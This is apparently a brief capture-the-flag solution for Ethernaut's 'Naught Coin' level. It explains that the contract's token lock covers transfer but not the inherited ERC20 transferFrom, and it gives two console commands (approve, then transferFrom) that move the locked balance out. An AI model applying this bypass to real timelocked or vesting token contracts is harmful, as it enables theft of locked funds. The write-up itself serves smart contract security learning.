Ethernaut Puzzle 15 Naught Coin
In ERC20, there is not only transfer function, but also transferfrom function.
In this question, even if the transfer function is overridden and there is a lockTokens modifier to prevent transfers, the transferFrom function in ERC20 is not overridden. We can utilize this function to perform transfers.
1 | await contract.approve(player, "1000000000000000000000000"); |
1 | contract.transferFrom(player, '{%ANOTHER_ADDRESS%}', "1000000000000000000000000"); |